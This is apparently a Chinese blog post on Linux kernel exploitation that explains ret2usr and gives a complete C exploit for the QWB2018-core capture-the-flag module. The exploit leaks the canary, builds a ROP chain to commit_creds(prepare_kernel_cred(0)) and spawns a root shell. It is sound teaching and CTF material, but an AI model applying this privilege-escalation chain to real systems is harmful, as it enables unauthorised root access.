Linux Kernel Pwn(三)
April 2, 2020 PWN 访问: 22 次
ret2uer
这个是指当没有开启smep
时,进行ROP时可以把程序流劫持到exp
中,也就是说执行我们写的代码
对于QWB2018-core
而言,只是把执行commit_creds(prepare_kernel_cred(0))
换成我们自己写的代码即可,其他方式还是一样的;
exp:
#include<stdio.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <ctype.h>
void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
short i;
unsigned char highByte, lowByte;
for (i = 0; i < sourceLen; i += 2)
{
highByte = toupper(source[i]);
lowByte = toupper(source[i + 1]);
if (highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if (lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i / 2] = (highByte << 4) | lowByte;
}
return ;
}
void set_off(int fd,size_t size)
{
printf("set off %ld \n",size);
ioctl(fd,0x6677889C,size);
}
void read_str(int fd,char *addr)
{
printf("* read buf *\n");
ioctl(fd,0x6677889B,addr);
}
void reverse(char *str,char *str2){
int i=0;
for(i=0;i<8;i++)
{
str[i]=str2[7-i];
}
}
size_t search_symbols(char *str){
char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
size_t num;
FILE *fd=fopen("/tmp/kallsyms","r");
while(!feof(fd))
{
fgets(line,0x50,fd);
// printf("读取内容:%s", c);
if(strstr(line,str))
{
strncpy(addr,line,16);
HexStrToByte(addr,addr_2,16);
// printf("%s",addr_2);
reverse(addr_3,addr_2);
num = ((size_t *)addr_3)[0];
}
}
fclose(fd);
return num;
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t prepare_kernel_cred,commit_creds;
void get_root(){
__asm__(
"mov rdi, 0;"
"mov rbx, prepare_kernel_cred;"
"call rbx;"
"mov rdi, rax;"
"mov rbx, commit_creds;"
"call rbx;"
);
}
void get_shell()
{
if(!getuid())
{
printf(":) root:");
system("/bin/sh");
}else{
printf(":( pwn fail!!!");
}
}
int main()
{
save_status();
int i,file = open("/proc/core",2);
size_t commit_creds_offset,rop[0x300] = {0},base_addr;
commit_creds_offset = 0x9c8e0;
/*get vmlinux base*/
base_addr = search_symbols("commit_creds")-commit_creds_offset;
printf("base_addr :%p\n",base_addr);
prepare_kernel_cred = base_addr + 0x9cce0;
printf("prepare_kernel_cred :%p\n",prepare_kernel_cred);
commit_creds = base_addr + commit_creds_offset;
printf("commit_creds :%p\n",commit_creds);
size_t pop_rdi = 0xb2f + base_addr;
size_t pop_rdx = 0xa0f49 + base_addr;
size_t code_1 = 0x6a6d2 + base_addr;//mov rdi, rax ; call rdx
size_t code_2 = 0xa012da + base_addr;// swapgs ; popfq ; ret
size_t code_3 = 0x50ac2 + base_addr;//iretq; ret;
/*get canary*/
char *str_addr = malloc(0x80);
set_off(file,0x40);
read_str(file,str_addr);
size_t canary = ((size_t *)str_addr)[0];
printf("canary: %p\n", canary);
printf("canary: %p\n", ((size_t *)str_addr)[1]);
/* rop chain */
size_t payload[0x100]={0};
for(i=0;i<8;i++)
{
payload[i] = 0x12345678;
}
payload[i++] = canary;
payload[i++] = 0x12345678;
payload[i++] = (size_t)get_root;
payload[i++] = code_2;
payload[i++] = 0;
payload[i++] = code_3;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
/*get shell*/
write(file,payload,0x800);
ioctl(file,0x6677889A,0xffffffffffff0000 | (0x100));
return 0;
}